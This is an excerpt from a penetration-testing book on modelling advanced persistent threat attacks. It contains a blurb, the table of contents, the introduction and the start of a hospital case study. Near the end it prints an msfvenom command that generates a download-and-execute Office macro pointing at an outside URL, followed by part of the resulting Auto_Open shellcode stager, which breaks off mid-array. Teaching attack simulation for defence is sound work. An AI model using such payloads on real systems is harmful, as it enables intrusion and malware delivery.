Build a better defense against motivated, organized, professional attacks
Advanced Penetration Testing: Hacking the World's Most Secure Networks takes hacking far beyond Kali Linux and Metasploit to provide a more complex attack simulation. Featuring techniques not taught in any certification prep or covered by common defensive scanners, this book integrates social engineering, programming, and vulnerability exploits into a multidisciplinary approach for targeting and compromising high security environments. From discovering and creating attack vectors, and moving unseen through a target enterprise, to establishing command and exfiltrating data—even from organizations without a direct Internet connection—this guide contains the crucial techniques that provide a more accurate picture of your system's defense. Custom coding examples use VBA, Windows Scripting Host, C, Java, JavaScript, Flash, and more, with coverage of standard library applications and the use of scanning tools to bypass common defensive measures.

Typical penetration testing consists of low-level hackers attacking a system with a list of known vulnerabilities, and defenders preventing those hacks using an equally well-known list of defensive scans. The professional hackers and nation states on the forefront of today's threats operate at a much more complex level—and this book shows you how to defend your high security network.

Use targeted social engineering pretexts to create the initial compromise
Leave a command and control structure in place for long-term access
Escalate privilege and breach networks, operating systems, and trust structures
Infiltrate further using harvested credentials while expanding control
Today's threats are organized, professionally-run, and very much for-profit. Financial institutions, health care organizations, law enforcement, government agencies, and other high-value targets need to harden their IT infrastructure and human capital against targeted advanced attacks from motivated professionals. Advanced Penetration Testing goes beyond Kali linux and Metasploit and to provide you advanced pen testing for high security networks.

You can write a book review and share your experiences. Other readers will always be interested in your opinion of the books you've read. Whether you've loved the book or not, if you give your honest and detailed thoughts then people will find new books that are right for them.

Guide
Table of Contents
Cover
Table of contents
Title Page
Introduction
Coming Full Circle
Advanced Persistent Threat (APT)
Next Generation Technology
“Hackers”
Forget Everything You Think You Know About Penetration Testing
How This Book Is Organized
Chapter 1: Medical Records (In)security
An Introduction to Simulating Advanced Persistent Threat
Background and Mission Briefing
Payload Delivery Part 1: Learning How to Use the VBA Macro
Command and Control Part 1: Basics and Essentials
The Attack
Summary
Exercises
Chapter 2: Stealing Research
Background and Mission Briefing
Payload Delivery Part 2: Using the Java Applet for Payload Delivery
Notes on Payload Persistence
Command and Control Part 2: Advanced Attack Management
The Attack
Summary
Exercises
Chapter 3: Twenty-First Century Heist
What Might Work?
Nothing Is Secure
Organizational Politics
APT Modeling versus Traditional Penetration Testing
Background and Mission Briefing
Command and Control Part III: Advanced Channels and Data Exfiltration
Payload Delivery Part III: Physical Media
The Attack
Summary
Exercises
Chapter 4: Pharma Karma
Background and Mission Briefing
Payload Delivery Part IV: Client-Side Exploits 1
Command and Control Part IV: Metasploit Integration
The Attack
Summary
Exercises
Chapter 5: Guns and Ammo
Background and Mission Briefing
Payload Delivery Part V: Simulating a Ransomware Attack
Command and Control Part V: Creating a Covert C2 Solution
New Strategies in Stealth and Deployment
The Attack
Summary
Exercises
Chapter 6: Criminal Intelligence
Payload Delivery Part VI: Deploying with HTA
Privilege Escalation in Microsoft Windows
Command and Control Part VI: The Creeper Box
The Attack
Summary
Exercises
Chapter 7: War Games
Background and Mission Briefing
Payload Delivery Part VII: USB Shotgun Attack
Command and Control Part VII: Advanced Autonomous Data Exfiltration
The Attack
Summary
Exercises
Chapter 8: Hack Journalists
Briefing
Advanced Concepts in Social Engineering
C2 Part VIII: Experimental Concepts in Command and Control
Payload Delivery Part VIII: Miscellaneous Rich Web Content
The Attack
Summary
Exercises
Chapter 9: Northern Exposure
Overview
Operating Systems
North Korean Public IP Space
The North Korean Telephone System
Approved Mobile Devices
The “Walled Garden”: The Kwangmyong Intranet
Audio and Video Eavesdropping
Summary
Exercises
End User License Agreement
Table of Contents
Cover
Title Page
Introduction
Coming Full Circle
Advanced Persistent Threat (APT)
Next Generation Technology
“Hackers”
Forget Everything You Think You Know About Penetration Testing
How This Book Is Organized
Chapter 1: Medical Records (In)security
An Introduction to Simulating Advanced Persistent Threat
Background and Mission Briefing
Payload Delivery Part 1: Learning How to Use the VBA Macro
Command and Control Part 1: Basics and Essentials
The Attack
Summary
Exercises
Chapter 2: Stealing Research
Background and Mission Briefing
Payload Delivery Part 2: Using the Java Applet for Payload Delivery
Notes on Payload Persistence
Command and Control Part 2: Advanced Attack Management
The Attack
Summary
Exercises
Chapter 3: Twenty-First Century Heist
What Might Work?
Nothing Is Secure
Organizational Politics
APT Modeling versus Traditional Penetration Testing
Background and Mission Briefing
Command and Control Part III: Advanced Channels and Data Exfiltration
Payload Delivery Part III: Physical Media
The Attack
Summary
Exercises
Chapter 4: Pharma Karma
Background and Mission Briefing
Payload Delivery Part IV: Client-Side Exploits 1
Command and Control Part IV: Metasploit Integration
The Attack
Summary
Exercises
Chapter 5: Guns and Ammo
Background and Mission Briefing
Payload Delivery Part V: Simulating a Ransomware Attack
Command and Control Part V: Creating a Covert C2 Solution
New Strategies in Stealth and Deployment
The Attack
Summary
Exercises
Chapter 6: Criminal Intelligence
Payload Delivery Part VI: Deploying with HTA
Privilege Escalation in Microsoft Windows
Command and Control Part VI: The Creeper Box
The Attack
Summary
Exercises
Chapter 7: War Games
Background and Mission Briefing
Payload Delivery Part VII: USB Shotgun Attack
Command and Control Part VII: Advanced Autonomous Data Exfiltration
The Attack
Summary
Exercises
Chapter 8: Hack Journalists
Briefing
Advanced Concepts in Social Engineering
C2 Part VIII: Experimental Concepts in Command and Control
Payload Delivery Part VIII: Miscellaneous Rich Web Content
The Attack
Summary
Exercises
Chapter 9: Northern Exposure
Overview
Operating Systems
North Korean Public IP Space
The North Korean Telephone System
Approved Mobile Devices
The “Walled Garden”: The Kwangmyong Intranet
Audio and Video Eavesdropping
Summary
Exercises
End User License Agreement
Pages
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
Guide
Table of Contents
Begin Reading
List of Illustrations
Chapter 1: Medical Records (In)security
Figure 1.1 Pharmattix network flow
Figure 1.2 User roles
Figure 1.3 VBA exploit code imported into MS Word.
Figure 1.4 Saving for initial antivirus proving.
Figure 1.5 This demonstrates an unacceptably high AV hit rate.
Figure 1.6 Additional information.
Figure 1.7 A stealthy payload indeed.
Figure 1.8 No, Qihoo-360 is not the Holy Grail of AV.
Figure 1.9 Blank document carrying macro payload.
Figure 1.10 A little more convincing.
Figure 1.11 Initial basic Command and Control infrastructure.
Figure 1.12 The completed attack with complete access to the medical records.
Chapter 2: Stealing Research
Figure 2.1 Permit all local Java code to run in the browser.
Figure 2.2 Java applet running in the browser.
Figure 2.3 The upgraded framework handles multiple hosts and operating systems.
Chapter 3: Twenty-First Century Heist
Figure 3.1 The beauty of this setup is that if your C2 is disrupted by security operations, you can point your DNS at another server.
Figure 3.2 A basic intrusion monitoring setup.
Figure 3.3 Mmmmmm. Stealthy.
Chapter 4: Pharma Karma
Figure 4.1 This image from cvedetails shows 56 code execution vulnerabilities in Flash in 2016 alone.
Figure 4.2 The number one issue on this AlienVault SOC alarm screen is vulnerable software, with that software being Flash.
Figure 4.3 This is clearly a large network that lacks a cohesive overall vulnerability management strategy.
Figure 4.4 Script output shows plugin data.
Figure 4.5 A LinkedIn invite comes as an HTML email message.
Figure 4.6 This is a remote command execution bug with reliable exploit code in the wild.
Figure 4.7 Metasploit does an excellent job at obfuscating the CVE-2015-5012 attack.
Figure 4.8 A simple XOR function can easily defeat antivirus technology.
Figure 4.9 The Meterpreter session is tunneled over SSH and looks innocent to network IDS.
Figure 4.10 Notepad cannot write to the C drive. It's a fair bet most desktop software programs have the same restrictions.
Figure 4.11 Armitage displays a list of plugins and their owners.
Figure 4.12 Process migration is a one-click process. Here we have migrated into lsass.exe.
Figure 4.13 In this example test.txt is uploaded from the attacker workstation.
Figure 4.14 Exploiting a vulnerability in the ScriptHost to escalate to the system.
Figure 4.15 Armitage makes a lot of tedious tasks a one-click affair.
Chapter 5: Guns and Ammo
Figure 5.1 Defense distributed ghost gunner. An open source CNC machine designed to manufacture AR-15 lower receivers restricted under Federal law.
Figure 5.2 The Soviet AT-4 (right) was a copy of the French MILAN system (Left).
Figure 5.3 Encryption process flow.
Figure 5.4 Decryption process flow.
Figure 5.5 Simplified covert C2 topology.
Figure 5.6 Veil-Evasion landing screen.
Figure 5.7 Veil with options set.
Figure 5.8 Veil can now generate a compiled Python executable from the raw shellcode.
Figure 5.9 The compiled executable is ready for use.
Figure 5.10 Once again, it's ready to use.
Figure 5.11 A Save As dialog box shows the file types Solid Edge works with.
Figure 5.12 Solid Edge application directory.
Figure 5.13 The victim will still have to Enable Content but that's a social engineering issue.
Figure 5.14 Lower receiver schematic in Solid Edge 3D.
Chapter 6: Criminal Intelligence
Figure 6.1 Not the most inviting message.
Figure 6.2 A basic HTML application.
Figure 6.3 That's a little bit better, but let's select something that fits the attack.
Figure 6.4 The inevitable VirusTotal example.
Figure 6.5 User Account Control dialog box. This can look however you want.
Figure 6.6 The XLS data contains bulletin names, severity, component KB, and so on.
Figure 6.7 Dependency Walker showing full DLL paths.
Figure 6.8 The Raspberry Pi 3B in all its glory.
Figure 6.9 A Raspberry Pi with a PoE HAT (hardware added on top).
Figure 6.10 Step one: connect with 3G.
Figure 6.11 Step two: select a USB device.
Figure 6.12 Step three: HUAWEI mobile.
Figure 6.13 Step four: interface #0.
Figure 6.14 Step five: business subscription.
Figure 6.15 Step six: you're good to go.
Figure 6.16 The KeyGrabber is an example of a WiFi-capable keylogger.
Figure 6.17 Caller ID can be easily spoofed.
Figure 6.18 Spoofing SMS messages likewise.
Figure 6.19 Keep these things simple but use whatever templates you have at hand.
Chapter 7: War Games
Figure 7.1 Compartmented U.S. secure communications center.
Figure 7.2 Not even the greenest jarhead is going to fall for this.
Figure 7.3 This creates the pretext.
Chapter 8: Hack Journalists
Figure 8.1 Initial beacon designated as Master node.
Figure 8.2 C2 uses Master for outbound connectivity.
Figure 8.3 A timeout on the Master node signals it is likely no longer functional or the host is switched off.
Figure 8.4 C2 Server nominates new Master node.
Figure 8.5 Agents nominate their own Master.
Figure 8.6 The Master functions as a gateway for other nodes as before.
Figure 8.7 Further elections are held as necessary.
Figure 8.8 The SDKPluginEntrypoint.cpp file.
Figure 8.9 Xcode build menu.
Figure 8.10 C2 agent extension payload.
Figure 8.11 Pre-flight packaging in InDesign.
Chapter 9: Northern Exposure
Figure 9.1 Red Star Desktop.
Figure 9.2 Getting a shell.
Figure 9.3 A shell.
Figure 9.4 Quicker and easier to work in English.
Figure 9.5 Red Star Linux in English.
Figure 9.6 Run rootsetting.
Figure 9.7 Enter the credentials you created for your user.
Figure 9.8 Now we have root access.
Figure 9.9 Disable Discretionary Access Control.
Figure 9.10 Disable monitoring processes.
Figure 9.11 Red Star Linux Install Screen.
Figure 9.12 Choose Desktop Manager.
Figure 9.13 Once again, better to work in English.
Figure 9.14 Insecure Squid Proxy.
Figure 9.15 Webmin Interface.
Figure 9.16 Toneloc output.
Figure 9.17 WarVOX Configuration.
Figure 9.18 Add targets to WarVOX.
Figure 9.19 Old School!
Figure 9.20 Yecon Tablet Device Information.
List of Tables
Chapter 5: Guns and Ammo
Table 5.1 The libgcrypt library contains all the crypto functions you will ever need.
Advanced Penetration Testing
Hacking the World’s Most Secure Networks
Wil Allsopp
[image: Wiley Logo]
Introduction
There is an old yet erroneous belief that fortune favors the brave. Fortune has and always will favor the prepared. When your organization experiences a serious security incident (and it will), it's your level of preparedness based on the understanding of the inevitability of such an event that will guide a successful recovery. It doesn't matter if you're responsible for the security of a local community college or if you're the CISO of an international bank—this fact will always remain true.
To quote Howard Ruff, “It wasn't raining when Noah built the ark.”
The first step to being prepared is being aware.
Coming Full Circle
There has always been the impression that you have to patch your systems and secure your networks because hackers are scanning vast address ranges looking for victims who haven't done these things and they'll take whatever vulnerable systems they can get. In a sense that's true—there have always been those who are satisfied with low hanging fruit. It was true back in the 80s as well—war dialing on the PSTN and such attacks are usually trivial to guard against if you know what you're up against. However, if you are specifically targeted by someone with time and resources, you have a problem of an altogether different magnitude. Put simply, gaining access to corporate systems by patiently targeting the users was usually the best way to go in the 80s and it's usually the best way now. However, the security industry, like any other, is constantly looking to sell “new” products and services with different names and to do that, a buzzword is required. The one that stuck was advanced persistent threat.
Advanced Persistent Threat (APT)
What differentiates an APT from a more traditional intrusion is that it is strongly goal-oriented. The attacker is looking for something (proprietary data for example) and is prepared to be as patient as is necessary to acquire it. While I don't recommend breaking complex processes down into simple lists or flowcharts, all APTs generally have the following characteristics:
Initial compromise—Usually performed or assisted by the use of social engineering techniques. An attack against a client will include a core technical component (such as a Java applet), but without a convincing pretext, such an attack is usually doomed to failure. A pretext can be anything but is successful when tailored to the target and its employees. Casting a wide net to catch the low hanging fruit (to mix my metaphors) is not an acceptable way to model APTs and is certainly not how your adversaries are doing things.
Establish beachhead—Ensure future access to compromised assets without needing a repeat initial intrusion. This is where Command & Control (C2) comes in to play and it's best to have something that you've created yourself; that you fully understand and can customize according to your needs. This is a key point in this book that I make a number of times when discussing the various aspects of C2—it needs to be secure but its traffic has to look legitimate. There are easy solutions to this problem.
Escalate privileges—Gain local and ultimately domain administrator access. There are many ways this can be achieved; this book will dedicate considerable space to the best and most reliable methods as well as some concepts that are more subtle.
Internal reconnaissance—Collect information on surrounding infrastructure, trust relationships, and the Windows domain structure. Situational awareness is critical to the success of any APT.
Network colonization—Expand control to other network assets using harvested administrative credentials or other attacks. This is also referred to as lateral movement, where an attacker (having established a stable base of operations within the target network) will spread influence across the infrastructure and exploit other hosts.
Persist—Ensure continued control via Command & Control. Persistence essentially means being able to access your target whenever you want regardless of whether a machine is rebooted.
Complete mission—Exfiltrate stolen data. The most important part of any APT. The attacker is not interested in vandalizing systems, defacing web pages, or stealing credit card numbers (unless any of these things advances the final goal). There is always a well-defined target in mind and that target is almost always proprietary data—the mission is completed when that data has been located and liberated.
I am a penetration tester by trade (a professional “hacker,” if you like) working for every possible kind of client and market vertical over the best part of two decades. This book speaks from that narrative. I want to show how conventional penetration testing is next to useless when attempting to protect organizations against a targeted APT attack. Only by going beyond the stagnant nature of contemporary penetration testing methodologies can this hope to be achieved. Potential adversaries today include organized crime and nation states—it's worth pointing out that foreign intelligence agencies (of any nation) are heavily invested in industrial espionage, and not just against hostile nations.
Next Generation Technology
There are numerous technologies available that claim to be able to prevent APTs, capable of blocking unknown malware. Some of these products are not bad and do indeed add another layer of security by providing some degree of behavioral analysis—for example catching a Metasploit callback by looking at what the .exe is doing rather than relying on an antivirus signature, which can be easily bypassed. However, that is trivial to model simply because the behavior of such tooling is very well understood. A genuine APT will be carried out by skilled threat actors capable of developing their own tools with a very strong understanding of how modern intrusion detection and prevention systems work. Thus, in describing modeling techniques, I make heavy use of the SSH protocol as it solves a lot of problems while masking activity from monitoring systems and at the same time gives the appearance of legitimate traffic. It is wise at this point to reflect on what an APT isn't and why. I've seen a number of organizations, commercial and otherwise, giving out advice and selling services based on their own flawed understanding of the nature of Advanced Persistent Threat. The following article published in InfoWorld is as good a place as any to rebut some myths I saw in a discussion online recently:
APT sign No. 1: Increase in elevated log-ons late at night—This is nonsense. Once a target has been compromised (via whatever means), the attacker has no need to make use of audited login methods, as they will have deployed their own Command & Control infrastructure. You will not see elevated log-ons late at night or at any other time.
Auditing logs will most likely hit nothing when a skilled attacker has established his beach head. Most likely these mechanisms will be immediately circumvented by the attacker.
APT sign No. 2: Finding widespread backdoor Trojans—Throughout this book I will be constantly drilling into you how ineffectual AV and other malware detection tools are for combating APTs. The “A” stands for advanced; the attackers are more than capable of developing their own tools or masking publicly available ones. If you find backdoor Trojans (widespread or otherwise) and they were put there by an advanced external actor, they're decoys and you were meant to find them.
APT sign No. 3: Unexpected information flows—“I wish every email client had the ability to show where the latest user logged in to pick up email and where the last message was accessed. Gmail and some other cloud email systems already offer this.”
Any email system (or any other system for that matter) can record remote IP addresses and perform real-time analysis to detect aberrant behavior. However, if an attacker is in your network and chooses to access your users' email in this manner, the source address can and will originate within your own network. This is particularly the case as man-in-the-browser attacks become more common.
APT sign No. 4: Discovering unexpected data bundles—Hoping that you might accidentally stumble across zip files containing valuable data (that have been conveniently left for you to find) is a poor way to approach information security. While such a find might well be an Indicator of Compromise (IoC), it is neither reliable nor repeatable. You should assume that if an attacker is able to enter your network and steal your most valuable data, they know how to use the Delete command.
APT sign No. 5: Detecting pass-the-hash hacking tools—I'm not sure why “pass-the-hash” hacking tools were singled out for special attention—particularly as (generally) they don't tend to exist in isolation, but as part of hacking frameworks. Nonetheless, while the presence of any such tooling could be considered an IoC, you will learn in this book that leaving detectable hacking software lying around on compromised machines is simply not how this is done. Stealth and patience are the hallmarks of an APT.
“Hackers”
The demographic of what we consider to be “hackers” has changed beyond all recognition so this introduction will be the last time I use that word. It is outdated and outmoded and the connotations it conjures up are completely inaccurate. I prefer the more neutral terms, “attacker” or “external actor,” because as you will learn, there are far worse things out there than teenage anarchists with too much time on their hands. The “Golden Age” of hacking whose anti-heroes were Mark Abene, Kevin Poulsen, Kevin Mitnick, and others was an incredibly innocent time compared to today, where the reality is stranger than the cyberpunk fiction of the 1980s that inspired so many hackers of the day.
It's been a busy couple of years. The Snowden revelations shocked the world and directly led to wide-sweeping changes in the tech industry's attitude toward security. In 2013, I had a conversation with a client that would have been unthinkable prior to the leaks—a conversation where the NSA was the villain they wanted to be protected against. This was a globally respected Fortune 500 company, not the mob. Intellectual property theft is on the rise and increasing in scale. In my line of work I am in a unique position to say with certainty that the attacks you hear about are just the ones that are leaked to the media. They are the tip of the iceberg compared to the stuff that goes unreported. I see it on a daily basis. Unfortunately for the wider tech industry, breaking in to target systems (and I'd include penetration testing here, when it's conducted properly) is a lot easier than keeping systems secure from attack. The difference between secure and vulnerable is as simple as one individual in a company of thousands making one small mistake.
Forget Everything You Think You Know About Penetration Testing
Nothing is really secure. If there is one lesson to take away then it should be that—a determined attacker is always going to be at an advantage, and (with very few exceptions) the larger an enterprise gets, the more insecure it becomes. There's more to monitor, more points of ingress and egress, boundaries between business units become blurred, and naturally there are more users. Of course, that doesn't mean you should give up hope, but the concept of “security through compliance” is not enough.
Despite the obvious benefits of this kind of holistic or open-scope testing, it is rarely performed in the real world, at least in comparison to traditional penetration testing. The reason for this is twofold: it is perceived to be more expensive (it isn't) and organizations rarely want that level of scrutiny. They want to do just enough to comply with their security policies and their legal statutory requirements. You hear terms like HIPAA-, SOX-, or PCI-compliant bandied about by vendors as though they mean something, but they exist only to keep lawyers happy and well paid and it is an easy package to sell. You can be PCI compliant and be vulnerable as hell. Ask T.J. Maxx or Sony: it took the former years to recover brand confidence; the vast amount of data leaked means that the damage to the latter is still being assessed. Suffice it to say that a compliance mentality is harmful to your security. I'm really driving the point home here because I want to make sure it is fully understood. Compliance with a security policy and being secure are not the same thing.
How This Book Is Organized
In this book, as stated, I'm going to examine APT modeling in the real world, but I'm also going to go a little further than that. I will present a working APT testing framework and in each chapter will add another layer of functionality as needed to solve different problems and apply the result to the target environments in discussion. In doing so, I will be completely code-agnostic where possible; however, a solid knowledge of programming is essential as you will be required to create your own tools—sometimes in languages you may be unfamiliar with.
Each of the chapters of this book discusses my experience of APT modeling against specific industries. As such, each chapter introduces new concepts, new ideas, and lessons to take away. I believe it's valuable to break this work down by industry as environments, attitudes to security, and indeed the competence of those performing network defense varies widely across different sectors. If you are a pen tester, you will learn something. If you have the unenviable task of keeping intruders out of your organization's system, you will learn things that will keep you up at night but also show you how to build more resilient defenses.
Rather than approach the subject matter as a dry technical manual, each chapter follows a similar format—the context of a wide range of separate industries will be the background against which new technologies, attacks, and themes are explored. This includes not only successful vectors of attack but such vital concepts as privilege escalation, avoiding malware detection, situation awareness, lateral movement, and many more skills that are critical to a successful understanding of both APT and how to model it. The goal is not simply to provide a collection of code and scripts, although many examples are given, but to encourage a broad and organic understanding of the problems and their solutions so that the readers will think about them in new ways and be able to confidently develop their own tools.
Chapter 1, “Medical Records (In)Security,” discusses attacks to hospital infrastructure with concepts such as macro attacks and man-in-the-browser techniques. Introduction to Command & Control (C2) is explored.
Chapter 2, “Stealing Research,” will explore attacks using Java Applets and more advanced C2 within the context of an attack against a research university.
Chapter 3, “Twenty-First Century Heist,” considers ways of penetrating high-security targets such as banks and highly advanced C2 techniques using the DNS protocol.
Chapter 4, “Pharma Karma,” examines an attack against a pharmaceutical company and against this backdrop introduces client-side exploits and integrating third-party frameworks such as Metasploit into your C2.
Chapter 5, “Guns and Ammo,” examines ransomware simulation and using Tor hidden services to mask the physical location of the C2 infrastructure.
Chapter 6, “Criminal Intelligence,” uses the backdrop of an intrusion against a police HQ to illustrate the use of “creeper” boxes for long-term engagements where temporary physical access is possible. Other concepts such as privilege escalation and deploying attacks using HTML applications are introduced.
Chapter 7, “War Games,” discusses an attack against a classified data network and explains concepts such as open source intelligence gathering and advanced concepts in Command & Control.
Chapter 8, “Hack Journalists,” shows how to attack a publisher and use their own technologies and workflows against them. Emerging rich media content and experimental C2 methodologies are considered. Advanced concepts in social engineering are introduced.
Chapter 9, “Northern Exposure,” is a hypothetical attack against a hostile rogue state by a government Tailored Access Operations (TAO) team. North Korea is used as a convenient example. We discuss advanced discreet network mapping and means of attacking smartphones, including the creation of hostile code for iOS and Android phones.
So, without further ado—on with the show.
Chapter 1
Medical Records (In)security
This first chapter shows how the simplest of attacks can be used to compromise the most secure data, which makes it a logical place to start, particularly as the security of medical data has long been an issue that's keeping the CIOs of hospitals awake at night.
THE “KANE” INCIDENT
The theft or even alteration of patient data had been a looming menace long before Dutchman “Kane” compromised Washington University's Medical Center in 2000. The hospital at the time believed they had successfully detected and cut off the attack, a belief they were rudely disabused of six months later when Kane shared the data he'd taken with Security Focus journalist Kevin Poulsen, who subsequently published an article describing the attack and its consequences. This quickly became global news. Kane was able to stay hidden in the Medical Center networks by allowing his victims to believe they had expelled him. He did this by leaving easily discoverable BO2K Remote Access Trojans (a tool developed by the hacker group, “Cult of the Dead Cow” and popular around the turn of the century) on several of the compromised servers while his own command and control infrastructure was somewhat more discrete. The entire episode is well documented online and I suggest you read up on it, as it is both an excellent example of an early modern APT and a textbook case of how not to deal with an intrusion—procedurally and publicly.
See the original article at http://www.securityfocus.com/news/122
An Introduction to Simulating Advanced Persistent Threat
APT threat modeling is a specific branch of penetration testing where attacks tend to be focused on end users to gain initial network compromise rather than attacking external systems such as web applications or Internet-facing network infrastructure. As an exercise, it tends to be carried out in two main paradigms—preventative, that is, as part of a penetration testing initiative, or postmortem, in order to supplement a post-incident forensics response to understand how an intruder could have obtained access. The vast majority are of the former. APT engagements can be carried out as short-term exercises lasting a couple of weeks or over a long period of time, billed at an hour a day for several months. There are differences of opinion as to which strategy is more effective (and of course it depends on the nature of the target). On one hand a longer period of time allows the modeling to mimic a real-world attack more accurately, but on the other, clients tend to want regular updates when testing is performed in this manner and it tends to defeat the purpose of the test when you get cut off at every hurdle. Different approaches will be examined throughout this book.
Background and Mission Briefing
A hospital in London had been compromised by parties unknown.
That was the sum total of what I knew when I arrived at the red brick campus to discuss the compromise and recommend next actions. After introductions and the usual bad machine coffee that generally accompanies such meetings, we got to the heart of the matter. Our host cryptically said that there was “an anomaly in the prescription medication records system.” I wasn't sure what to make of that, “Was it a Nurse Jackie thing?” I asked. I was rewarded with a look that said “You're not funny and I don't watch Showtime.” She continued, “We discovered that a number of fake patient records had been created that were subsequently used to obtain controlled medications.”
Yes. I'd certainly characterize that as an anomaly.
We discussed the attack and the patient record system further—its pros and cons—and with grim inevitability, it transpired that the attacks had occurred following a drive to move the data to the cloud. The hospital had implemented a turnkey solution from a company called Pharmattix. This was a system that was being rolled out in hospitals across the country to streamline healthcare provision in a cost-effective subscription model.
In essence, the technology looked like Figure 1.1.
[image: Schematic for Pharmattix network flow.]
Figure 1.1: Pharmattix network flow
The system had four classes of users (see Figure 1.2):
[image: Schematic for User roles.]
Figure 1.2: User roles
The MD prescribing the medications
The pharmacy dispensing the medications
The patients themselves
The administrative backend for any other miscellaneous tasks
It's always good to find out what the vendor themselves have to say so that you know what functionality the software provides.
PHARMATTIX MARKETING MATERIAL
We increase the accessibility and the productivity of your practice.
We can provide a professional website with medical information and various forms offering your patients extra service without additional financial overhead. We can deliver all the functionality of your current medical records system and can import your records and deliver a working solution, many times within one working day.
Our full service makes it easy for you as a doctor to maintain your website. Your Pharmattix Doctor Online solution offers a website that allows you to inform patients and can offer additional services, while saving time.
Make your practice and patient management easier with e-consultation and integration with your HIS!
For your website capabilities:
Own management environment • Individual pages as team route, appointments, etc. • Hours • NHG Patient Leaflets and letters • MS Office integration • Medical information • Passenger and vaccination information • Various forms (registration, repeat prescriptions, questions) • e-consultation • Online web calendar • A link to the website with your GP Information System (HIS) • Free helpdesk support
E-Consultation and HIS integration: Want to communicate over a secure environment with your patients? Through an e-consultation you can. You can increase the accessibility of your practice without losing control. It is also possible to link your HIS to the practice site, allowing patients to make online appointments and request repeat medication. Without the intervention of the assistant!
To learn more, please feel free to contact us!
My goal as a penetration tester will be to target one of the hospital employees in order to subvert the patient records system. It makes sense to target the MDs themselves, as their role in the system permits them to add patients and prescribe medications, which is in essence exactly what we want to do. We know from tech literature that it integrates with MS Office and, given the open nature of the environment we will be attacking, that sounds like an excellent place to start.
WHEN BRUCE SCHNEIER TALKS, IT'S A GOOD IDEA TO LISTEN
“Two-factor authentication isn't our savior. It won't defend against phishing. It's not going to prevent identity theft. It's not going to secure online accounts from fraudulent transactions. It solves the security problems we had 10 years ago, not the security problems we have today.”
Bruce Schneier
Each user role used two-factor authentication; that is to say that in addition to a username or pass, hospital workers were required to possess an access card. Patients also received a one-time password via SMS or email at login time.
A recurring theme in every chapter will be to introduce a new means of payload delivery as well as suggest enhancements to the command and control infrastructure. With that in mind, the first means of payload delivery I want to discuss is also one of the oldest and most effective.
Payload Delivery Part 1: Learning How to Use the VBA Macro
VBA (Visual Basic for Applications) is a subset of Microsoft's proprietary Visual Basic programming language. It is designed to run solely within Microsoft Word and Excel in order to automate repetitive operations and create custom commands or toolbar buttons. It's a primitive language as these things go, but it is capable of importing outside libraries including the entire Windows API. As such we can do a lot with it besides drive spreadsheets and manage mailing lists.
The VBA macro has a long history as a means of delivering malware, but that doesn't mean it is any less effective today than it's ever been. On the contrary, in modern versions of Microsoft Office (2010 onward), the default behavior of the application is to make no distinction between signed and unsigned code. There are two reasons for this. The first is that code-signing is about as effective as rain dancing as a means of blocking hostile code and because Microsoft got tired warning people of the dangers of using its core scripting technologies.
In this instance, we want to create a stager that executes a payload when the target opens the Word or Excel document. There are a number of ways that we can achieve this but first I want to touch on some example code that is generated by the Metasploit framework by virtue of its msfvenom tool. The reason being simply because it is a perfect example of how not to do this.
How NOT to Stage a VBA Attack
The purpose of msfvenom is to create encoded payloads or shellcode capable of being executed on a wide range of platforms—these are generally Metasploit's own agents, although there are options to handle third-party code, such as Trojan existing executables and so forth. We'll talk later about Metasploit's handlers, their strengths and weaknesses, but for now let's keep things generic. One possibility msfvenom provides is to output the resulting payload as decimal encoded shellcode within a VBA script that can be imported directly into a Microsoft Office document (see Listing 1-1). The following command line will create a VBA script that will download and execute a Windows executable from a web URL:
Listing 1-1 msfvenom-generated VBA macro code
root@wil:~# msfvenom -p windows/download_exec -f vba -e shikata-ga-nai -i 5 -a x86 --platform Windows EXE=c:\temp\payload.exe URL=http://www.wherever.com
Payload size: 429 bytes
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal Zeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr, ByRef Und As Any, ByVal Issacgbu As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal Tfnsv As Long, ByVal Kyfde As Long, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal Zeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As Long, ByRef Und As Any, ByVal Issacgbu As Long) As Long
#EndIf
Sub Auto_Open()
Dim Hdhskh As Long, Wizksxyu As Variant, Rxnffhltx As Long
#If Vba7 Then
Dim Qgsztm As LongPtr, Svfb As LongPtr
#Else
Dim Qgsztm As Long, Svfb As Long
#EndIf
Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
